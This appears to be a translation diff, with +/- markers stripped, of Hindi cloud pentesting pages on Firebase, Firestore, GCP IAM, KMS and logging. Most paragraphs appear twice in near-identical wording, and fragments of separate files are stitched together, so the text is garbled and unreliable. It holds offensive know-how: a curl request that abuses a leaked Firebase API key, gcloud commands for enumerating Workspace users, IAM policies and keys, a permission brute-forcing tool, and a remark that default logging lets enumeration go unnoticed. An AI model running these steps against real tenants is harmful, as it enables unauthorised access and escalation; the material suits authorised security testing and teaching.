- API KEY **AIzaSyAs1\[...]**
- APP ID **1:612345678909:ios:c212345678909876**
आप कुछ दिलचस्प जानकारी तक पहुँच सकते हैं
आप कुछ दिलचस्प जानकारी तक पहुँचने में सक्षम हो सकते हैं
**Request**
**अनुरोध**
`curl -v -X POST "https://firebaseremoteconfig.googleapis.com/v1/projects/612345678909/namespaces/firebase:fetch?key=AIzaSyAs1[...]" -H "Content-Type: application/json" --data '{"appId": "1:612345678909:ios:c212345678909876", "appInstanceId": "PROD"}'`
## References <a href="#references" id="references"></a>
## संदर्भ <a href="#references" id="references"></a>
- [https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/](https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/)
- [https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1](https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1)
@@ -4,7 +4,7 @@
## [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/)
Cloud Firestore, जो Firebase और Google Cloud द्वारा प्रदान किया गया है, एक **डेटाबेस है जो स्केलेबल और लचीला है, मोबाइल, वेब, और सर्वर विकास की आवश्यकताओं को पूरा करता है**। इसकी कार्यक्षमताएँ Firebase Realtime Database के समान हैं, जो क्लाइंट एप्लिकेशनों के बीच डेटा समन्वय सुनिश्चित करती हैं जिनमें रीयलटाइम लिसनर्स होते हैं। Cloud Firestore की एक महत्वपूर्ण विशेषता यह है कि यह मोबाइल और वेब प्लेटफार्मों पर ऑफलाइन संचालन का समर्थन करता है, जो उच्च नेटवर्क विलंबता या इंटरनेट कनेक्शन की अनुपस्थिति की स्थितियों में ऐप की प्रतिक्रियाशीलता को बढ़ाता है। इसके अलावा, इसे Firebase और Google Cloud के अन्य उत्पादों, जैसे Cloud Functions के साथ सहजता से एकीकृत करने के लिए डिज़ाइन किया गया है।
Cloud Firestore, जो Firebase और Google Cloud द्वारा प्रदान किया गया है, एक **डेटाबेस है जो स्केलेबल और लचीला है, मोबाइल, वेब, और सर्वर विकास की आवश्यकताओं को पूरा करता है**। इसकी कार्यक्षमताएँ Firebase Realtime Database के समान हैं, जो क्लाइंट एप्लिकेशनों के बीच डेटा समन्वय सुनिश्चित करती हैं जिनमें रीयलटाइम लिसनर्स होते हैं। Cloud Firestore की एक महत्वपूर्ण विशेषता यह है कि यह मोबाइल और वेब प्लेटफार्मों पर ऑफलाइन संचालन का समर्थन करता है, जो उच्च नेटवर्क विलंबता या इंटरनेट कनेक्शन की अनुपस्थिति की स्थितियों में ऐप की प्रतिक्रियाशीलता को बढ़ाता है। इसके अलावा, इसे Firebase और Google Cloud के अन्य उत्पादों, जैसे Cloud Functions के साथ सहजता से एकीकृत करने के लिए डिज़ाइन किया गया है।
```bash
gcloud firestore indexes composite list
gcloud firestore indexes composite describe <index>
@@ -12,7 +12,7 @@
### गणना
एक सेवा खाता हमेशा एक प्रोजेक्ट से संबंधित होता है:
एक सेवा खाता हमेशा एक परियोजना से संबंधित होता है:
```bash
gcloud iam service-accounts list --project <project>
```
@@ -26,15 +26,15 @@ GCP में Users & Groups कैसे काम करते हैं, इ
### Enumeration
अनुमतियों **`serviceusage.services.enable`** और **`serviceusage.services.use`** के साथ, क प्रोजेक्ट में **सेवाओं को सक्षम करना** और उनका उपयोग करना संभव है।
**`serviceusage.services.enable`** और **`serviceusage.services.use`** अनुमतियों के साथ, किसी प्रोजेक्ट में **सेवाओं को सक्षम करना** और उनका उपयोग करना संभव है।
> [!CAUTION]
> ध्यान दें कि डिफ़ॉल्ट रूप से, Workspace उपयोगकर्ताओं को **Project Creator** भूमिका दी जाती है, जिससे उन्हें **नए प्रोजेक्ट बनाने** की अनुमति मिलती है। जब एक उपयोगकर्ता एक प्रोजेक्ट बनाता है, तो उसे उस पर **`owner`** भूमिका दी जाती है। इसलिए, वह **Workspace को सूचीबद्ध करने के लिए प्रोजेक्ट पर इन सेवाओं को सक्षम कर सकता है**
>
> हालाँकि, यह भी ध्यान दें कि इन APIs को कॉल करने के लिए **Workspace में पर्याप्त अनुमतियाँ होना** आवश्यक है।
यदि आप **`admin` सेवा को सक्षम कर सकते हैं** और यदि आपके उपयोगकर्ता के पास **Workspace में पर्याप्त विशेषाधिकार हैं,** तो आप निम्नलिखित पंक्तियों के साथ **सभी समूहों और उपयोगकर्ताओं को सूचीबद्ध कर सकते हैं**\
यहां तक कि अगर यह **`identity groups`** कहता है, तो यह **बिना किसी समूह के उपयोगकर्ताओं** को भी लौटाता है:
यदि आप **`admin` सेवा को सक्षम कर सकते हैं** और यदि आपके उपयोगकर्ता के पास **Workspace में पर्याप्त विशेषाधिकार हैं,** तो आप निम्नलिखित पंक्तियों के साथ **सभी समूहों और उपयोगकर्ताओं को सूचीबद्ध कर सकते हैं**\
यहां तक कि यदि यह **`identity groups`** कहता है, तो यह **बिना किसी समूह के उपयोगकर्ताओं** को भी लौटाता है:
```bash
# Enable admin
gcloud services enable admin.googleapis.com
@@ -58,35 +58,35 @@ gcloud identity groups memberships search-transitive-memberships --group-email=<
gcloud identity groups memberships get-membership-graph --member-email=<email> --labels=cloudidentity.googleapis.com/groups.discussion_forum
```
> [!TIP]
> पिछले उदाहरणों में `--labels` पैरामीटर आवश्यक है, इसलिए एक सामान्य मान का उपयोग किया गया है (यदि आपने API का सीधे उपयोग किया है जैसे कि [**PurplePanda यहाँ करता है**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py))।
> पिछले उदाहरणों में `--labels` पैरामीटर आवश्यक है, इसलिए एक सामान्य मान का उपयोग किया गया है (यदि आप API का सीधे उपयोग करते है जैसे कि [**PurplePanda यहाँ करता है**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py))।
यहां तक कि प्रशासनिक सेवा सक्षम होने पर, यह संभव है कि आपको उन्हें सूचीबद्ध करते समय एक त्रुटि मिले क्योंकि आपक समझौता किया गया कार्यक्षेत्र उपयोगकर्ता के पास पर्याप्त अनुमतियाँ नहीं हैं:
यहां तक कि यदि प्रशासनिक सेवा सक्षम है, तो यह संभव है कि आपको उन्हें सूचीबद्ध करते समय एक त्रुटि मिले क्योंकि आपक समझौता किए गए कार्यक्षेत्र उपयोगकर्ता के पास पर्याप्त अनुमतियाँ नहीं हैं:
<figure><img src="../../../images/image (193).png" alt=""><figcaption></figcaption></figure>
## IAM
IAM के बारे में बुनियादी जानकारी के लिए [**यहाँ देखें**](../gcp-basic-information/#iam-roles)।
[**IAM के बारे में बुनियादी जानकारी के लिए इसे देखें**](../gcp-basic-information/#iam-roles)।
### डिफ़ॉल्ट अनुमतियाँ
[**दस्तावेज़ों**](https://cloud.google.com/resource-manager/docs/default-access-control) के अनुसार: जब एक संगठन संसाधन बनाया जाता है, तो आपके डोमेन में सभी उपयोगकर्ताओं को डिफ़ॉल्ट रूप से **बिलिंग खाता निर्माता** और **प्रोजेक्ट निर्माता** भूमिकाएँ दी जाती हैं। ये डिफ़ॉल्ट भूमिकाएँ आपके उपयोगकर्ताओं को तुरंत Google Cloud का उपयोग शुरू करने की अनुमति देती हैं, लेकिन आपके संगठन संसाधन के नियमित संचालन में उपयोग के लिए नहीं होती हैं।
[**दस्तावेज़ों**](https://cloud.google.com/resource-manager/docs/default-access-control) के अनुसार: जब एक संगठन संसाधन बनाया जाता है, तो आपके डोमेन में सभी उपयोगकर्ताओं को डिफ़ॉल्ट रूप से **बिलिंग खाता निर्माता** और **प्रोजेक्ट निर्माता** भूमिकाएँ दी जाती हैं। ये डिफ़ॉल्ट भूमिकाएँ आपके उपयोगकर्ताओं को तुरंत Google Cloud का उपयोग शुरू करने की अनुमति देती हैं, लेकिन आपके संगठन संसाधन के नियमित संचालन में उपयोग के लिए नहीं हैं।
ये **भूमिकाएँ** **अनुमतियाँ** प्रदान करती हैं:
- `billing.accounts.create` और `resourcemanager.organizations.get`
- `resourcemanager.organizations.get` और `resourcemanager.projects.create`
इसके अलावा, जब एक उपयोगकर्ता एक प्रोजेक्ट बनाता है, तो उसे [दस्तावेज़ों](https://cloud.google.com/resource-manager/docs/access-control-proj) के अनुसार **स्वतः उस प्रोजेक्ट का मालिक बना दिया जाता है**। इसलिए, डिफ़ॉल्ट रूप से, एक उपयोगकर्ता एक प्रोजेक्ट बनाने और उस पर कोई भी सेवा चलाने में सक्षम होगा (माइनर्स? कार्यक्षेत्र सूचीकरण? ...)
इसके अलावा, जब एक उपयोगकर्ता एक प्रोजेक्ट बनाता है, तो उसे [दस्तावेज़ों](https://cloud.google.com/resource-manager/docs/access-control-proj) के अनुसार **स्वतः उस प्रोजेक्ट का मालिक बना दिया जाता है**। इसलिए, डिफ़ॉल्ट रूप से, एक उपयोगकर्ता एक प्रोजेक्ट बनाने और उस पर कोई भी सेवा चलाने में सक्षम होगा (खननकर्ता? कार्यक्षेत्र सूचीकरण? ...)
> [!CAUTION]
> GCP संगठन में सबसे उच्च विशेषाधिकार **संगठन प्रशासक** भूमिका है।
### set-iam-policy बनाम add-iam-policy-binding
अधिकांश सेवाओं में, आप **`add-iam-policy-binding`** या **`set-iam-policy`** विधि का उपयोग करके एक संसाधन पर अनुमतियों को बदलने में सक्षम होंगे। मुख्य अंतर यह है कि **`add-iam-policy-binding` मौजूदा IAM नीति में एक नई भूमिका बाइंडिंग जोड़ता है** जबकि **`set-iam-policy`** **पहले से दी गई** अनुमतियों को **हटाएगा** और **केवल उन अनुमतियों को सेट करेगा** जो आदेश में निर्दिष्ट हैं।
अधिकांश सेवाओं में, आप **`add-iam-policy-binding`** या **`set-iam-policy`** विधि का उपयोग करके एक संसाधन पर अनुमतियों को बदलने में सक्षम होंगे। मुख्य अंतर यह है कि **`add-iam-policy-binding` एक नई भूमिका बाइंडिंग** मौजूदा IAM नीति में जोड़ता है जबकि **`set-iam-policy`** **पहले से दी गई** अनुमतियों को **हटाएगा** और **केवल उन अनुमतियों को सेट करेगा** जो आदेश में निर्दिष्ट हैं।
### Enumeration
### सूचीकरण
```bash
# Roles
## List roles
@@ -119,7 +119,7 @@ gcloud asset search-all-iam-policies --scope folders/1234567
gcloud asset search-all-iam-policies --scope organizations/123456
gcloud asset search-all-iam-policies --scope projects/project-id-123123
```
- अनुमति **`cloudasset.assets.analyzeIamPolicy`** एक संसाधन के भीतर एक प्रमुख के सभी iam नीतियों का अनुरोध कर सकती है।
- अनुमति **`cloudasset.assets.analyzeIamPolicy`** एक संसाधन के भीतर एक प्रमुख के **सभी iam नीतियों** का अनुरोध कर सकती है।
```bash
# Needs perm "cloudasset.assets.analyzeIamPolicy" over the asset
gcloud asset analyze-iam-policy --organization=<org-id> \
@@ -135,12 +135,12 @@ gcloud asset search-all-resources --scope projects/<proj-name>
gcloud asset search-all-resources --scope folders/1234567
gcloud asset search-all-resources --scope organizations/123456
```
- अनुमति **`cloudasset.assets.analyzeMove`** एक संसाधन जैसे प्रोजेक्ट पर प्रभाव डालने वाली नीतियों को पुनः प्राप्त करने के लिए भी उपयोगी हो सकती है।
- अनुमति **`cloudasset.assets.analyzeMove`** एक संसाधन जैसे प्रोजेक्ट पर प्रभाव डालने वाली नीतियों को प्राप्त करने के लिए भी उपयोगी हो सकती है।
```bash
gcloud asset analyze-move --project=<proj-name> \
--destination-organization=609216679593
```
- मुझे लगता है कि अनुमति **`cloudasset.assets.queryIamPolicy`** भी प्रिंसिपल्स की अनुमतियों को खोजने के लिए पहुंच प्रदान कर सकती है।
- मुझे लगता है कि अनुमति **`cloudasset.assets.queryIamPolicy`** भी प्रिंसिपलों की अनुमतियों को खोजने के लिए पहुंच प्रदान कर सकती है।
```bash
# But, when running something like this
gcloud asset query --project=<proj> --statement='SELECT * FROM compute_googleapis_com_Instance'
@@ -152,7 +152,7 @@ ERROR: (gcloud.asset.query) UNAUTHENTICATED: QueryAssets API is only supported f
> [!CAUTION]
> यदि आप **पिछले तरीकों का उपयोग करके IAM जानकारी तक पहुँच नहीं सकते** और आप एक रेड टीम में हैं। आप **इस उपकरण का उपयोग कर सकते हैं**[ **https://github.com/carlospolop/bf_my_gcp_perms**](https://github.com/carlospolop/bf_my_gcp_perms) **अपने वर्तमान अनुमतियों को ब्रूट-फोर्स करने के लिए।**
>
> हालाँकि, ध्यान दें कि सेवा **`cloudresourcemanager.googleapis.com`** को सक्षम किया जाना चाहिए।
> हालाँकि, ध्यान दें कि सेवा **`cloudresourcemanager.googleapis.com`** को सक्षम होना चाहिए।
### Privesc
@@ -179,8 +179,8 @@ ERROR: (gcloud.asset.query) UNAUTHENTICATED: QueryAssets API is only supported f
यदि आपके पास उच्च विशेषाधिकार हैं तो आप:
- नए SAs (या उपयोगकर्ताओं को यदि Workspace में हैं) बना सकते हैं
- अपने द्वारा नियंत्रित प्रिंसिपल को अधिक अनुमतियाँ दे सकते हैं
- कमजोर SAs को अधिक विशेषाधिकार दे सकते हैं (VM में SSRF, कमजोर क्लाउड फ़ंक्शन…)
- अपने द्वारा नियंत्रित प्रिंसिपलों को अधिक अनुमतियाँ दे सकते हैं
- कमजोर SAs को अधिक विशेषाधिकार दे सकते हैं (vm में SSRF, vuln Cloud Function…)
- …
## Org Policies
@@ -199,7 +199,7 @@ gcloud resource-manager org-policies list --project=PROJECT_ID
```
### Privesc
इस पृष्ठ पर आप देख सकते हैं कि **कैसे संगठन नीतियों की अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाए जाएं**:
निम्नलिखित पृष्ठ पर आप **org policies अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं:
{{#ref}}
../gcp-privilege-escalation/gcp-orgpolicy-privesc.md
@@ -4,9 +4,9 @@
## KMS
[**क्लाउड की प्रबंधन सेवा**](https://cloud.google.com/kms/docs/) **क्रिप्टोग्राफिक कुंजियों** के लिए एक सुरक्षित भंडारण के रूप में कार्य करत है, जो **संवेदनशील डेटा को एन्क्रिप्ट और डिक्रिप्ट करने** के लिए आवश्यक हैं। ये कुंजियाँ की रिंगों के भीतर व्यवस्थित की जाती हैं, जिससे संरचित प्रबंधन संभव होता है। इसके अलावा, एक्सेस नियंत्रण को सावधानीपूर्वक कॉन्फ़िगर किया जा सकता है, या तो व्यक्तिगत कुंजी स्तर पर या पूरे की रिंग के लिए, यह सुनिश्चित करते हुए कि अनुमतियाँ सुरक्षा आवश्यकताओं के साथ सटीक रूप से संरेखित हैं।
[**Cloud Key Management Service**](https://cloud.google.com/kms/docs/) **क्रिप्टोग्राफिक कुंजियों** के लिए एक सुरक्षित भंडारण के रूप में कार्य करत है, जो **संवेदनशील डेटा को एन्क्रिप्ट और डिक्रिप्ट करने** जैसी प्रक्रियाओं के लिए आवश्यक हैं। ये कुंजियाँ कुंजी रिंग के भीतर व्यवस्थित की जाती हैं, जिससे संरचित प्रबंधन संभव होता है। इसके अलावा, पहुँच नियंत्रण को सावधानीपूर्वक कॉन्फ़िगर किया जा सकता है, या तो व्यक्तिगत कुंजी स्तर पर या पूरे कुंजी रिंग के लिए, यह सुनिश्चित करते हुए कि अनुमतियाँ सुरक्षा आवश्यकताओं के साथ सटीक रूप से संरेखित हैं।
KMS की रिंगें **डिफ़ॉल्ट रूप से वैश्विक** के रूप में बनाई जाती हैं, जिसका अर्थ है कि उस की रिंग के अंदर की कुंजियाँ किसी भी क्षेत्र से सुलभ हैं। हालाँकि, **विशिष्ट क्षेत्रों** में विशिष्ट की रिंगें बनाना संभव है।
KMS कुंजी रिंग **डिफ़ॉल्ट रूप से वैश्विक** के रूप में बनाई जाती हैं, जिसका अर्थ है कि उस कुंजी रिंग के भीतर की कुंजियाँ किसी भी क्षेत्र से सुलभ हैं। हालाँकि, **विशिष्ट क्षेत्रों** में विशिष्ट कुंजी रिंग बनाना संभव है।
### कुंजी सुरक्षा स्तर
@@ -16,9 +16,9 @@ KMS की रिंगें **डिफ़ॉल्ट रूप से वै
### कुंजी के उद्देश्य
- **समानांतर एन्क्रिप्शन/डिक्रिप्शन**: **एकल कुंजी का उपयोग करके डेटा को एन्क्रिप्ट और डिक्रिप्ट करने** के लिए उपयोग किया जाता है। समानांतर कुंजियाँ बड़े डेटा के वॉल्यूम को एन्क्रिप्ट और डिक्रिप्ट करने के लिए तेज और कुशल होती हैं।
- **समानांतर एन्क्रिप्शन/डिक्रिप्शन**: **एकल कुंजी का उपयोग करके डेटा को एन्क्रिप्ट और डिक्रिप्ट करने** के लिए उपयोग किया जाता है। समानांतर कुंजियाँ बड़े डेटा वॉल्यूम को एन्क्रिप्ट और डिक्रिप्ट करने के लिए तेज और कुशल होती हैं।
- **समर्थित**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
- **असमान्य हस्ताक्षर**: दो पक्षों के बीच सुरक्षित संचार के लिए कुंजी साझा किए बिना उपयोग किया जाता है। असमान्य कुंजियाँ एक जोड़ी में आती हैं, जिसमें **एक सार्वजनिक कुंजी और एक निजी कुंजी** होती है। सार्वजनिक कुंजी दूसरों के साथ साझा की जाती है, जबकि निजी कुंजी को गुप्त रखा जाता है।
- **असमान्य हस्ताक्षर**: दो पक्षों के बीच सुरक्षित संचार के लिए कुंजी साझा किए बिना उपयोग किया जाता है। असमान्य कुंजियाँ एक जोड़ी में आती हैं, जिसमें एक **सार्वजनिक कुंजी और एक निजी कुंजी** होती है। सार्वजनिक कुंजी दूसरों के साथ साझा की जाती है, जबकि निजी कुंजी को गुप्त रखा जाता है।
- **समर्थित:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
- **असमान्य डिक्रिप्शन**: संदेश या डेटा की प्रामाणिकता को सत्यापित करने के लिए उपयोग किया जाता है। एक डिजिटल हस्ताक्षर एक निजी कुंजी का उपयोग करके बनाया जाता है और संबंधित सार्वजनिक कुंजी का उपयोग करके सत्यापित किया जा सकता है।
- **समर्थित:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
@@ -37,7 +37,7 @@ KMS की रिंगें **डिफ़ॉल्ट रूप से वै
### गणना
**कुंजियों को सूचीबद्ध करने के लिए अनुमतियाँ होने पर** आप उन्हें इस प्रकार एक्सेस कर सकते हैं:
**कुंजियों को सूचीबद्ध करने** के लिए अनुमतियाँ होने पर, आप उन्हें इस प्रकार एक्सेस कर सकते हैं:
```bash
# List the global keyrings available
gcloud kms keyrings list --location global
@@ -67,7 +67,7 @@ gcloud kms decrypt --ciphertext-file=[INFILE] \
../gcp-privilege-escalation/gcp-kms-privesc.md
{{#endref}}
### पोस्ट शोषण
### पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-kms-post-exploitation.md
@@ -6,11 +6,11 @@
यह सेवा उपयोगकर्ताओं को GCP से **लॉग डेटा और घटनाओं** को स्टोर, सर्च, एनालाइज, मॉनिटर और अलर्ट करने की अनुमति देती है।
Cloud Logging अन्य GCP सेवाओं के साथ पूरी तरह से एकीकृत है, जो आपके सभी GCP संसाधनों से लॉग के लिए एक केंद्रीकृत भंडार प्रदान करता है। यह **स्वचालित रूप से विभिन्न GCP सेवाओं** जैसे App Engine, Compute Engine, और Cloud Functions से लॉग एकत्र करता है। आप Cloud Logging का उपयोग ऑन-प्रिमाइसेस या अन्य क्लाउड में चल रहे अनुप्रयोगों के लिए भी कर सकते हैं, Cloud Logging एजेंट या API का उपयोग करके।
Cloud Logging अन्य GCP सेवाओं के साथ पूरी तरह से एकीकृत है, जो आपके सभी GCP संसाधनों से लॉग के लिए एक केंद्रीकृत भंडार प्रदान करता है। यह **स्वचालित रूप से विभिन्न GCP सेवाओं** जैसे App Engine, Compute Engine, और Cloud Functions से लॉग एकत्र करता है। आप Cloud Logging का उपयोग ऑन-प्रिमाइसेस या अन्य क्लाउड में चल रहे अनुप्रयोगों के लिए भी Cloud Logging एजेंट या API का उपयोग करके कर सकते हैं
Key Features:
- **Log Data Centralization:** विभिन्न स्रोतों से लॉग डेटा को एकत्रित करें, आपके अनुप्रयोगों और अवसंरचना का समग्र दृश्य प्रदान करें
- **Log Data Centralization:** विभिन्न स्रोतों से लॉग डेटा को एकत्रित करें, आपके अनुप्रयोगों और अवसंरचना का समग्र दृश्य प्रदान करते हुए
- **Real-time Log Management:** तात्कालिक विश्लेषण और प्रतिक्रिया के लिए वास्तविक समय में लॉग स्ट्रीम करें।
- **Powerful Data Analysis:** बड़े मात्रा में लॉग डेटा को तेजी से छानने के लिए उन्नत फ़िल्टरिंग और खोज क्षमताओं का उपयोग करें।
- **Integration with BigQuery:** विस्तृत विश्लेषण और क्वेरी के लिए लॉग को BigQuery में निर्यात करें।
@@ -35,21 +35,21 @@ LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis
```
````
- डेटा का **रखरखाव अवधि** प्रति बकेट कॉन्फ़िगर की जाती है और यह **कम से कम 1 दिन** होनी चाहिए। हालाँकि, **\_Required की रखरखाव अवधि 400 दिन है** और इसे संशोधित नहीं किया जा सकता।
- **डेटा का संरक्षण अवधि** प्रति बकेट कॉन्फ़िगर की जाती है और यह **कम से कम 1 दिन होनी चाहिए।** हालाँकि, **आवश्यक की संरक्षण अवधि 400 दिन है** और इसे संशोधित नहीं किया जा सकता।
- ध्यान दें कि लॉग बकेट **क्लाउड स्टोरेज में दिखाई नहीं देते।**
2. **लॉग सिंक्स (वेब में लॉग राउटर):** विभिन्न गंतव्यों जैसे Pub/Sub, BigQuery, या Cloud Storage में लॉग प्रविष्टियों को **निर्यात करने के लिए सिंक्स बनाएं** जो एक **फिल्टर** के आधार पर हैं।
- **डिफ़ॉल्ट** रूप से बकेट `_Default` और `_Required` के लिए सिंक्स बनाए जाते हैं:
- **डिफ़ॉल्ट** रूप से `_Default` और `_Required` बकेट के लिए सिंक्स बनाए जाते हैं:
- ```bash
_Required logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Required LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
_Default logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Default NOT LOG_ID("cloudaudit.googleapis.com/activity") AND NOT LOG_ID("externalaudit.googleapis.com/activity") AND NOT LOG_ID("cloudaudit.googleapis.com/system_event") AND NOT LOG_ID("externalaudit.googleapis.com/system_event") AND NOT LOG_ID("cloudaudit.googleapis.com/access_transparency") AND NOT LOG_ID("externalaudit.googleapis.com/access_transparency")
```
- **बहिष्करण फ़िल्टर:** यह संभव है कि **विशिष्ट लॉग प्रविष्टियों को रोकने के लिए बहिष्करण सेट करें**, लागत बचाने और अनावश्यक शोर को कम करने के लिए
3. **लॉग-आधारित मैट्रिक्स:** लॉग के सामग्री के आधार पर **कस्टम मैट्रिक्स** कॉन्फ़िगर करें, ज लॉग डेटा के आधार पर अलर्टिंग और निगरानी की अनुमति देता है।
4. **लॉग दृश्य:** लॉग दृश्य आपको यह **नियंत्रण प्रदान करते हैं कि किसे आपके लॉग बकेट में लॉग्स तक पहुहै।**
- **बहिष्करण फ़िल्टर:** यह संभव है कि **विशिष्ट लॉग प्रविष्टियों** को ग्रहण करने से रोकने के लिए **बहिष्करण सेट करें**, जिससे लागत बचती है और अनावश्यक शोर कम होता है
3. **लॉग-आधारित मैट्रिक्स:** लॉग के सामग्री के आधार पर **कस्टम मैट्रिक्स** कॉन्फ़िगर करें, जिससे लॉग डेटा के आधार पर अलर्टिंग और निगरानी की अनुमति मिलती है।
4. **लॉग दृश्य:** लॉग दृश्य आपको आपके लॉग बकेट में लॉग्स तक पहुपर **उन्नत और बारीक नियंत्रण** प्रदान करते हैं।
- क्लाउड लॉगिंग **हर बकेट के लिए `_AllLogs` दृश्य स्वचालित रूप से बनाता है**, जो सभी लॉग दिखाता है। क्लाउड लॉगिंग `_Default` बकेट के लिए `_Default` नामक एक दृश्य भी बनाता है। `_Default` बकेट के लिए `_Default` दृश्य सभी लॉग दिखाता है सिवाय डेटा एक्सेस ऑडिट लॉग के। `_AllLogs` और `_Default` दृश्य संपादित नहीं किए जा सकते।
यह संभव है कि एक प्रिंसिपल को **केवल एक विशिष्ट लॉग दृश्य का उपयोग करने की अनुमति दें** IAM नीति के साथ जैसे:
यह संभव है कि एक प्रिंसिपल को **केवल एक विशिष्ट लॉग दृश्य** का उपयोग करने की अनुमति दी जाए IAM नीति के साथ:
```json
{
"bindings": [
@@ -69,15 +69,15 @@ _Default logging.googleapis.com/projects/<proj-name>/locations/global/buckets/
```
### Default Logs
डिफ़ॉल्ट रूप से **Admin Write** ऑपरेश (जिसे Admin Activity audit logs भी कहा जाता है) लॉग किए जाते हैं (मेटाडेटा या कॉन्फ़िगरेशन जानकारी लिखें) और **निष्क्रिय नहीं किए जा सकते**
डिफ़ॉल्ट रूप से **Admin Write** ऑपरेशंस (जिन्हें Admin Activity audit logs भी कहा जाता है) वे होते हैं जो लॉग किए जाते हैं (मेटाडेटा या कॉन्फ़िगरेशन जानकारी लिखें) और **निष्क्रिय नहीं किए जा सकते**
फिर, उपयोगकर्ता **Data Access audit logs** को सक्षम कर सकता है, ये हैं **Admin Read, Data Write और Data Write**
आप प्रत्येक प्रकार के लॉग के बारे में अधिक जानकारी दस्तावेज़ों में पा सकते हैं: [https://cloud.google.com/iam/docs/audit-logging](https://cloud.google.com/iam/docs/audit-logging)
हालांकि, ध्यान दें कि इसका मतलब है कि डिफ़ॉल्ट रूप से **`GetIamPolicy`** क्रियाएँ और अन्य पढ़ने की क्रियाएँ **लॉग नहीं की जा रही हैं**। इसलिए, डिफ़ॉल्ट रूप से एक हमलावर जो वातावरण को एन्यूमरेट करने की कोशिश कर रहा है, यदि सिस्टम प्रशासक ने अधिक लॉग उत्पन्न करने के लिए कॉन्फ़िगर नहीं किया है, तो पकड़ा नहीं जाएगा
हालांकि, ध्यान दें कि इसका मतलब है कि डिफ़ॉल्ट रूप से **`GetIamPolicy`** क्रियाएँ और अन्य पढ़ने की क्रियाएँ **लॉग नहीं की जा रही हैं**। इसलिए, डिफ़ॉल्ट रूप से एक हमलावर जो वातावरण को सूचीबद्ध करने की कोशिश कर रहा है, पकड़ा नहीं जाएगा यदि सिस्टम प्रशासक ने अधिक लॉग उत्पन्न करने के लिए कॉन्फ़िगर नहीं किया है।
कंसोल में अधिक लॉग सक्षम करने के लिए सिस्टम प्रशासक को [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) पर जाना होगा और उन्हें सक्षम करना होगा। वहाँ 2 विभिन्न विकल्प हैं:
कंसोल में अधिक लॉग सक्षम करने के लिए सिस्टम प्रशासक को [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) पर जाना होगा और उन्हें सक्षम करना होगा। वहाँ 2 अलग-अलग विकल्प हैं:
- **Default Configuration**: एक डिफ़ॉल्ट कॉन्फ़िगरेशन बनाना संभव है और सभी Admin Read और/या Data Read और/या Data Write लॉग को लॉग करना और यहां तक कि छूट प्राप्त प्रिंसिपल जोड़ना:
@@ -114,25 +114,25 @@ gcloud logging views describe --bucket <bucket> --location global <view-id> # vi
gcloud logging links list --bucket _Default --location global
gcloud logging links describe <link-id> --bucket _Default --location global
```
उदाहरण **`cloudresourcemanager`** के लॉग की जांच करने के लिए (जो अनुमतियों को BF करने के लिए उपयोग किया जाता है): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
**`cloudresourcemanager`** के लॉग चेक करने का उदाहरण (जो BF अनुमतियों के लिए उपयोग किया जाता है): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
**`testIamPermissions`** के लॉग नहीं हैं:
<figure><img src="../../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### पोस्ट एक्सप्लॉइटेशन
### Post Exploitation
{{#ref}}
